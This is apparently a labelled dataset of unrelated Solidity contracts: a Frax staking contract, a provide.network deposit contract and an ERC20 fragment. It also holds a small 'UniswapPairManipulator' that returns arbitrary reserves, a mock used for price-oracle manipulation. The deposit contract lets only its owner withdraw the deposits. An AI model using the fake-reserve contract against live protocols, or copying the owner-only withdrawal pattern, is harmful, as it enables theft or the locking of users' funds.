uint256 user_vefxs_fraction = (veFXS.balanceOf(account)).mul(MULTIPLIER_PRECISION).div(veFXS_needed_for_max_boost);
uint256 vefxs_multiplier = ((user_vefxs_fraction).mul(vefxs_max_multiplier)).div(MULTIPLIER_PRECISION);
// Cap the boost to the vefxs_max_multiplier
if (vefxs_multiplier > vefxs_max_multiplier) vefxs_multiplier = vefxs_max_multiplier;
return vefxs_multiplier;
}
else return 0; // This will happen with the first stake, when user_staked_frax is 0
}
// Calculated the combined weight for an account
function calcCurCombinedWeight(address account) public view
returns (
uint256 old_combined_weight,
uint256 new_vefxs_multiplier,
uint256 new_combined_weight
)
{
// Get the old combined weight
old_combined_weight = _combined_weights[account];
// Get the veFXS multipliers
// For the calculations, use the midpoint (analogous to midpoint Riemann sum)
new_vefxs_multiplier = veFXSMultiplier(account);
uint256 midpoint_vefxs_multiplier;
if (_locked_liquidity[account] == 0 && _combined_weights[account] == 0) {
// This is only called for the first stake to make sure the veFXS multiplier is not cut in half
midpoint_vefxs_multiplier = new_vefxs_multiplier;
}
else {
midpoint_vefxs_multiplier = ((new_vefxs_multiplier).add(_vefxsMultiplierStored[account])).div(2);
}
// Loop through the locked stakes, first by getting the liquidity * lock_multiplier portion
new_combined_weight = 0;
for (uint256 i = 0; i < lockedStakes[account].length; i++) {
LockedStake memory thisStake = lockedStakes[account][i];
uint256 lock_multiplier = thisStake.lock_multiplier;
// If the lock is expired
if (thisStake.ending_timestamp <= block.timestamp) {
// If the lock expired in the time since the last claim, the weight needs to be proportionately averaged this time
if (lastRewardClaimTime[account] < thisStake.ending_timestamp){
uint256 time_before_expiry = (thisStake.ending_timestamp).sub(lastRewardClaimTime[account]);
uint256 time_after_expiry = (block.timestamp).sub(thisStake.ending_timestamp);
// Get the weighted-average lock_multiplier
uint256 numerator = ((lock_multiplier).mul(time_before_expiry)).add(((MULTIPLIER_PRECISION).mul(time_after_expiry)));
lock_multiplier = numerator.div(time_before_expiry.add(time_after_expiry));
}
// Otherwise, it needs to just be 1x
else {
lock_multiplier = MULTIPLIER_PRECISION;
}
}
uint256 liquidity = thisStake.liquidity;
uint256 combined_boosted_amount = liquidity.mul(lock_multiplier.add(midpoint_vefxs_multiplier)).div(MULTIPLIER_PRECISION);
new_combined_weight = new_combined_weight.add(combined_boosted_amount);
}
}
// All the locked stakes for a given account
function lockedStakesOf(address account) external view returns (LockedStake[] memory) {
return lockedStakes[account];
}
// All the locked stakes for a given account
function getRewardSymbols() external view returns (string[] memory) {
return rewardSymbols;
}
// All the reward tokens
function getAllRewardTokens() external view returns (address[] memory) {
return rewardTokens;
}
// Multiplier amount, given the length of the lock
function lockMultiplier(uint256 secs) public view returns (uint256) {
uint256 lock_multiplier =
uint256(MULTIPLIER_PRECISION).add(
secs
.mul(lock_max_multiplier.sub(MULTIPLIER_PRECISION))
.div(lock_time_for_max_multiplier)
);
if (lock_multiplier > lock_max_multiplier) lock_multiplier = lock_max_multiplier;
return lock_multiplier;
}
// Last time the reward was applicable
function lastTimeRewardApplicable() internal view returns (uint256) {
return Math.min(block.timestamp, periodFinish);
}
function rewardRates(uint256 token_idx) public view returns (uint256 rwd_rate) {
address gauge_controller_address = gaugeControllers[token_idx];
if (gauge_controller_address != address(0)) {
rwd_rate = (IFraxGaugeController(gauge_controller_address).global_emission_rate()).mul(last_gauge_relative_weights[token_idx]).div(1e18);
}
else {
rwd_rate = rewardRatesManual[token_idx];
}
}
// Amount of reward tokens per LP token
function rewardsPerToken() public view returns (uint256[] memory newRewardsPerTokenStored) {
if (_total_liquidity_locked == 0 || _total_combined_weight == 0) {
return rewardsPerTokenStored;
}
else {
newRewardsPerTokenStored = new uint256[](rewardTokens.length);
for (uint256 i = 0; i < rewardsPerTokenStored.length; i++){
newRewardsPerTokenStored[i] = rewardsPerTokenStored[i].add(
lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRates(i)).mul(1e18).div(_total_combined_weight)
);
}
return newRewardsPerTokenStored;
}
}
// Amount of reward tokens an account has earned / accrued
// Note: In the edge-case of one of the account's stake expiring since the last claim, this will
// return a slightly inflated number
function earned(address account) public view returns (uint256[] memory new_earned) {
uint256[] memory reward_arr = rewardsPerToken();
new_earned = new uint256[](rewardTokens.length);
if (_combined_weights[account] == 0){
for (uint256 i = 0; i < rewardTokens.length; i++){
new_earned[i] = 0;
}
}
else {
for (uint256 i = 0; i < rewardTokens.length; i++){
new_earned[i] = (_combined_weights[account])
.mul(reward_arr[i].sub(userRewardsPerTokenPaid[account][i]))
.div(1e18)
.add(rewards[account][i]);
}
}
}
// Total reward tokens emitted in the given period
function getRewardForDuration() external view returns (uint256[] memory rewards_per_duration_arr) {
rewards_per_duration_arr = new uint256[](rewardRatesManual.length);
for (uint256 i = 0; i < rewardRatesManual.length; i++){
rewards_per_duration_arr[i] = rewardRates(i).mul(rewardsDuration);
}
}
// See if the caller_addr is a manager for the reward token
function isTokenManagerFor(address caller_addr, address reward_token_addr) public view returns (bool){
if (caller_addr == owner) return true; // Contract owner
else if (rewardManagers[reward_token_addr] == caller_addr) return true; // Reward manager
return false;
}
/* ========== MUTATIVE FUNCTIONS ========== */
// Staker can allow a migrator
function stakerAllowMigrator(address migrator_address) external {
require(valid_migrators[migrator_address], "Invalid migrator address");
staker_allowed_migrators[msg.sender][migrator_address] = true;
}
// Staker can disallow a previously-allowed migrator
function stakerDisallowMigrator(address migrator_address) external {
// Delete from the mapping
delete staker_allowed_migrators[msg.sender][migrator_address];
}
function _updateRewardAndBalance(address account, bool sync_too) internal {
// Need to retro-adjust some things if the period hasn't been renewed, then start a new one
if (sync_too){
sync();
}
if (account != address(0)) {
// To keep the math correct, the user's combined weight must be recomputed to account for their
// ever-changing veFXS balance.
(
uint256 old_combined_weight,
uint256 new_vefxs_multiplier,
uint256 new_combined_weight
) = calcCurCombinedWeight(account);
// Calculate the earnings first
_syncEarned(account);
// Update the user's stored veFXS multipliers
_vefxsMultiplierStored[account] = new_vefxs_multiplier;
// Update the user's and the global combined weights
if (new_combined_weight >= old_combined_weight) {
uint256 weight_diff = new_combined_weight.sub(old_combined_weight);
_total_combined_weight = _total_combined_weight.add(weight_diff);
_combined_weights[account] = old_combined_weight.add(weight_diff);
} else {
uint256 weight_diff = old_combined_weight.sub(new_combined_weight);
_total_combined_weight = _total_combined_weight.sub(weight_diff);
_combined_weights[account] = old_combined_weight.sub(weight_diff);
}
}
}
function _syncEarned(address account) internal {
if (account != address(0)) {
// Calculate the earnings
uint256[] memory earned_arr = earned(account);
// Update the rewards array
for (uint256 i = 0; i < earned_arr.length; i++){
rewards[account][i] = earned_arr[i];
}
// Update the rewards paid array
for (uint256 i = 0; i < earned_arr.length; i++){
userRewardsPerTokenPaid[account][i] = rewardsPerTokenStored[i];
}
}
}
// Two different stake functions are needed because of delegateCall and msg.sender issues
function stakeLocked(uint256 liquidity, uint256 secs) nonReentrant public {
_stakeLocked(msg.sender, msg.sender, liquidity, secs, block.timestamp);
}
// If this were not internal, and source_address had an infinite approve, this could be exploitable
// (pull funds from source_address and stake for an arbitrary staker_address)
function _stakeLocked(
address staker_address,
address source_address,
uint256 liquidity,
uint256 secs,
uint256 start_timestamp
) internal updateRewardAndBalance(staker_address, true) {
require(!stakingPaused, "Staking paused");
require(liquidity > 0, "Must stake more than zero");
require(greylist[staker_address] == false, "Address has been greylisted");
require(secs >= lock_time_min, "Minimum stake time not met");
require(secs <= lock_time_for_max_multiplier,"Trying to lock for too long");
uint256 lock_multiplier = lockMultiplier(secs);
bytes32 kek_id = keccak256(abi.encodePacked(staker_address, start_timestamp, liquidity, _locked_liquidity[staker_address]));
lockedStakes[staker_address].push(LockedStake(
kek_id,
start_timestamp,
liquidity,
start_timestamp.add(secs),
lock_multiplier
));
// Pull the tokens from the source_address
TransferHelper.safeTransferFrom(address(stakingToken), source_address, address(this), liquidity);
// Update liquidities
_total_liquidity_locked = _total_liquidity_locked.add(liquidity);
_locked_liquidity[staker_address] = _locked_liquidity[staker_address].add(liquidity);
// Need to call to update the combined weights
_updateRewardAndBalance(staker_address, false);
// Needed for edge case if the staker only claims once, and after the lock expired
if (lastRewardClaimTime[staker_address] == 0) lastRewardClaimTime[staker_address] = block.timestamp;
emit StakeLocked(staker_address, liquidity, secs, kek_id, source_address);
}
// Two different withdrawLocked functions are needed because of delegateCall and msg.sender issues
function withdrawLocked(bytes32 kek_id) nonReentrant public {
require(withdrawalsPaused == false, "Withdrawals paused");
_withdrawLocked(msg.sender, msg.sender, kek_id);
}
// No withdrawer == msg.sender check needed since this is only internally callable and the checks are done in the wrapper
// functions like withdraw(), migrator_withdraw_unlocked() and migrator_withdraw_locked()
function _withdrawLocked(address staker_address, address destination_address, bytes32 kek_id) internal {
// Collect rewards first and then update the balances
_getReward(staker_address, destination_address);
LockedStake memory thisStake;
thisStake.liquidity = 0;
uint theArrayIndex;
for (uint256 i = 0; i < lockedStakes[staker_address].length; i++){
if (kek_id == lockedStakes[staker_address][i].kek_id){
thisStake = lockedStakes[staker_address][i];
theArrayIndex = i;
break;
}
}
require(thisStake.kek_id == kek_id, "Stake not found");
require(block.timestamp >= thisStake.ending_timestamp || stakesUnlocked == true || valid_migrators[msg.sender] == true, "Stake is still locked!");
uint256 liquidity = thisStake.liquidity;
if (liquidity > 0) {
// Update liquidities
_total_liquidity_locked = _total_liquidity_locked.sub(liquidity);
_locked_liquidity[staker_address] = _locked_liquidity[staker_address].sub(liquidity);
// Remove the stake from the array
delete lockedStakes[staker_address][theArrayIndex];
// Need to call to update the combined weights
_updateRewardAndBalance(staker_address, false);
// Give the tokens to the destination_address
// Should throw if insufficient balance
stakingToken.transfer(destination_address, liquidity);
emit WithdrawLocked(staker_address, liquidity, kek_id, destination_address);
}
}
// Two different getReward functions are needed because of delegateCall and msg.sender issues
function getReward() external nonReentrant returns (uint256[] memory) {
require(rewardsCollectionPaused == false,"Rewards collection paused");
return _getReward(msg.sender, msg.sender);
}
// No withdrawer == msg.sender check needed since this is only internally callable
function _getReward(address rewardee, address destination_address) internal updateRewardAndBalance(rewardee, true) returns (uint256[] memory rewards_before) {
// Update the rewards array and distribute rewards
rewards_before = new uint256[](rewardTokens.length);
for (uint256 i = 0; i < rewardTokens.length; i++){
rewards_before[i] = rewards[rewardee][i];
rewards[rewardee][i] = 0;
ERC20(rewardTokens[i]).transfer(destination_address, rewards_before[i]);
emit RewardPaid(rewardee, rewards_before[i], rewardTokens[i], destination_address);
}
lastRewardClaimTime[rewardee] = block.timestamp;
}
// If the period expired, renew it
function retroCatchUp() internal {
// Pull in rewards from the rewards distributor
rewards_distributor.distributeReward(address(this));
// Ensure the provided reward amount is not more than the balance in the contract.
// This keeps the reward rate in the right range, preventing overflows due to
// very high values of rewardRate in the earned and rewardsPerToken functions;
// Reward + leftover must be less than 2^256 / 10^18 to avoid overflow.
uint256 num_periods_elapsed = uint256(block.timestamp.sub(periodFinish)) / rewardsDuration; // Floor division to the nearest period
// Make sure there are enough tokens to renew the reward period
for (uint256 i = 0; i < rewardTokens.length; i++){
require(rewardRates(i).mul(rewardsDuration).mul(num_periods_elapsed + 1) <= ERC20(rewardTokens[i]).balanceOf(address(this)), string(abi.encodePacked("Not enough reward tokens available: ", rewardTokens[i])) );
}
// uint256 old_lastUpdateTime = lastUpdateTime;
// uint256 new_lastUpdateTime = block.timestamp;
// lastUpdateTime = periodFinish;
periodFinish = periodFinish.add((num_periods_elapsed.add(1)).mul(rewardsDuration));
_updateStoredRewardsAndTime();
emit RewardsPeriodRenewed(address(stakingToken));
}
function _updateStoredRewardsAndTime() internal {
// Get the rewards
uint256[] memory rewards_per_token = rewardsPerToken();
// Update the rewardsPerTokenStored
for (uint256 i = 0; i < rewardsPerTokenStored.length; i++){
rewardsPerTokenStored[i] = rewards_per_token[i];
}
// Update the last stored time
lastUpdateTime = lastTimeRewardApplicable();
}
function sync_gauge_weights(bool force_update) public {
// Loop through the gauge controllers
for (uint256 i = 0; i < gaugeControllers.length; i++){
address gauge_controller_address = gaugeControllers[i];
if (gauge_controller_address != address(0)) {
if (force_update || (block.timestamp > last_gauge_time_totals[i])){
// Update the gauge_relative_weight
last_gauge_relative_weights[i] = IFraxGaugeController(gauge_controller_address).gauge_relative_weight_write(address(this), block.timestamp);
last_gauge_time_totals[i] = IFraxGaugeController(gauge_controller_address).time_total();
}
}
}
}
function sync() public {
// Sync the gauge weight, if applicable
sync_gauge_weights(false);
if (block.timestamp >= periodFinish) {
retroCatchUp();
}
else {
_updateStoredRewardsAndTime();
}
}
/* ========== RESTRICTED FUNCTIONS ========== */
// Migrator can stake for someone else (they won't be able to withdraw it back though, only staker_address can).
function migrator_stakeLocked_for(address staker_address, uint256 amount, uint256 secs, uint256 start_timestamp) external isMigrating {
require(staker_allowed_migrators[staker_address][msg.sender] && valid_migrators[msg.sender], "Mig. invalid or unapproved");
_stakeLocked(staker_address, msg.sender, amount, secs, start_timestamp);
}
// Used for migrations
function migrator_withdraw_locked(address staker_address, bytes32 kek_id) external isMigrating {
require(staker_allowed_migrators[staker_address][msg.sender] && valid_migrators[msg.sender], "Mig. invalid or unapproved");
_withdrawLocked(staker_address, msg.sender, kek_id);
}
// Adds supported migrator address
function addMigrator(address migrator_address) external onlyByOwner {
valid_migrators[migrator_address] = true;
}
// Remove a migrator address
function removeMigrator(address migrator_address) external onlyByOwner {
require(valid_migrators[migrator_address] == true, "Address nonexistant");
// Delete from the mapping
delete valid_migrators[migrator_address];
}
// Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyTknMgrs(tokenAddress) {
// Check if the desired token is a reward token
bool isRewardToken = false;
for (uint256 i = 0; i < rewardTokens.length; i++){
if (rewardTokens[i] == tokenAddress) {
isRewardToken = true;
break;
}
}
// Only the reward managers can take back their reward tokens
if (isRewardToken && rewardManagers[tokenAddress] == msg.sender){
ERC20(tokenAddress).transfer(msg.sender, tokenAmount);
emit Recovered(msg.sender, tokenAddress, tokenAmount);
return;
}
// Other tokens, like the staking token, airdrops, or accidental deposits, can be withdrawn by the owner
else if (!isRewardToken && (msg.sender == owner)){
ERC20(tokenAddress).transfer(msg.sender, tokenAmount);
emit Recovered(msg.sender, tokenAddress, tokenAmount);
return;
}
// If none of the above conditions are true
else {
revert("No valid tokens to recover");
}
}
function setRewardsDuration(uint256 _rewardsDuration) external onlyByOwner {
require(_rewardsDuration >= 86400, "Rewards duration too short");
require(
periodFinish == 0 || block.timestamp > periodFinish,
"Reward period incomplete"
);
rewardsDuration = _rewardsDuration;
emit RewardsDurationUpdated(rewardsDuration);
}
function setMultipliers(uint256 _lock_max_multiplier, uint256 _vefxs_max_multiplier, uint256 _vefxs_per_frax_for_max_boost) external onlyByOwner {
require(_lock_max_multiplier >= MULTIPLIER_PRECISION, "Mult must be >= MULTIPLIER_PRECISION");
require(_vefxs_max_multiplier >= 0, "veFXS mul must be >= 0");
require(_vefxs_per_frax_for_max_boost > 0, "veFXS pct max must be >= 0");
lock_max_multiplier = _lock_max_multiplier;
vefxs_max_multiplier = _vefxs_max_multiplier;
vefxs_per_frax_for_max_boost = _vefxs_per_frax_for_max_boost;
emit MaxVeFXSMultiplier(vefxs_max_multiplier);
emit LockedStakeMaxMultiplierUpdated(lock_max_multiplier);
emit veFXSPerFraxForMaxBoostUpdated(vefxs_per_frax_for_max_boost);
}
function setLockedStakeTimeForMinAndMaxMultiplier(uint256 _lock_time_for_max_multiplier, uint256 _lock_time_min) external onlyByOwner {
require(_lock_time_for_max_multiplier >= 1, "Mul max time must be >= 1");
require(_lock_time_min >= 1, "Mul min time must be >= 1");
lock_time_for_max_multiplier = _lock_time_for_max_multiplier;
lock_time_min = _lock_time_min;
emit LockedStakeTimeForMaxMultiplier(lock_time_for_max_multiplier);
emit LockedStakeMinTime(_lock_time_min);
}
function greylistAddress(address _address) external onlyByOwner {
greylist[_address] = !(greylist[_address]);
}
function unlockStakes() external onlyByOwner {
stakesUnlocked = !stakesUnlocked;
}
function toggleStaking() external onlyByOwner {
stakingPaused = !stakingPaused;
}
function toggleMigrations() external onlyByOwner {
migrationsOn = !migrationsOn;
}
function toggleWithdrawals() external onlyByOwner {
withdrawalsPaused = !withdrawalsPaused;
}
function toggleRewardsCollection() external onlyByOwner {
rewardsCollectionPaused = !rewardsCollectionPaused;
}
// The owner or the reward token managers can set reward rates
function setRewardRate(address reward_token_address, uint256 new_rate, bool sync_too) external onlyTknMgrs(reward_token_address) {
rewardRatesManual[rewardTokenAddrToIdx[reward_token_address]] = new_rate;
if (sync_too){
sync();
}
}
// The owner or the reward token managers can set reward rates
function setGaugeController(address reward_token_address, address _rewards_distributor_address, address _gauge_controller_address, bool sync_too) external onlyTknMgrs(reward_token_address) {
gaugeControllers[rewardTokenAddrToIdx[reward_token_address]] = _gauge_controller_address;
rewards_distributor = IFraxGaugeFXSRewardsDistributor(_rewards_distributor_address);
if (sync_too){
sync();
}
}
// The owner or the reward token managers can change managers
function changeTokenManager(address reward_token_address, address new_manager_address) external onlyTknMgrs(reward_token_address) {
rewardManagers[reward_token_address] = new_manager_address;
}
/* ========== EVENTS ========== */
event StakeLocked(address indexed user, uint256 amount, uint256 secs, bytes32 kek_id, address source_address);
event WithdrawLocked(address indexed user, uint256 amount, bytes32 kek_id, address destination_address);
event RewardPaid(address indexed user, uint256 reward, address token_address, address destination_address);
event RewardsDurationUpdated(uint256 newDuration);
event Recovered(address destination_address, address token, uint256 amount);
event RewardsPeriodRenewed(address token);
event LockedStakeMaxMultiplierUpdated(uint256 multiplier);
event LockedStakeTimeForMaxMultiplier(uint256 secs);
event LockedStakeMinTime(uint256 secs);
event MaxVeFXSMultiplier(uint256 multiplier);
event veFXSPerFraxForMaxBoostUpdated(uint256 scale_factor);
}
// File contracts/Staking/Variants/StakingRewardsMultiGauge_StakeDAO_FRAX_Put.sol
contract StakingRewardsMultiGauge_StakeDAO_FRAX_Put is StakingRewardsMultiGauge {
constructor (
address _owner,
address _stakingToken,
address _rewards_distributor_address,
string[] memory _rewardSymbols,
address[] memory _rewardTokens,
address[] memory _rewardManagers,
uint256[] memory _rewardRates,
address[] memory _gaugeControllers
)
StakingRewardsMultiGauge(_owner, _stakingToken, _rewards_distributor_address, _rewardSymbols, _rewardTokens, _rewardManagers, _rewardRates, _gaugeControllers)
{}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-14
*/
/**
* provide.network validator license contract
*
* Instructions:
*
* Deposit 2,500 UBT into this contract to secure your license
* to validate provide.network upon network launch. Depositors
* will be included in the initial Network Rewards contract,
* permitted to withdraw PRVD block rewards and participate in
* network governance as described in this paper:
* https://provide.network/whitepapers/latest.pdf
*
* PRVD official token contract address: 0x65bb569faadd324a00883fde4c46346cc96d5c0a)
*
* WARNING: DO NOT DEPOSIT ANY ASSETS OTHER THAN
* UBT TO THIS CONTRACT!
*
* Note that the network governance smart contract suite will be
* deployed on or about January 1, 2022.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* provide.network validator license contract
*
* Instructions:
*
* Deposit 2,500 UBT into this contract to secure your license
* to validate provide.network upon network launch. Depositors
* will be included in the initial Network Rewards contract,
* permitted to withdraw PRVD block rewards and participate in
* network governance as described in this paper:
* https://provide.network/whitepapers/latest.pdf
*
* PRVD official token contract address: 0x65bb569faadd324a00883fde4c46346cc96d5c0a)
*
* Note that the network governance smart contract suite will be
* deployed on or about January 1, 2022.
*/
contract ProvideNetworkValidatorLicense is Ownable {
using SafeMath for uint256;
IERC20 private token = IERC20(0x8400D94A5cb0fa0D041a3788e395285d61c9ee5e);
constructor()
Ownable() {}
function withdraw(uint256 amount)
onlyOwner()
external
{
require(token.transfer(msg.sender, amount), 'transfer failed');
}
} | True | [
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pragma solidity ^0.8.0;
contract UniswapPairManipulator {
uint256 public dai = 10**18;
uint256 public tree = 10**18;
// Manipulate result
function getReserves() public view returns (uint256 _reserve0, uint256 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = dai;
_reserve1 = tree;
_blockTimestampLast = 100000;
}
}
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/**
*Submitted for verification at Etherscan.io on 2021-07-11
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
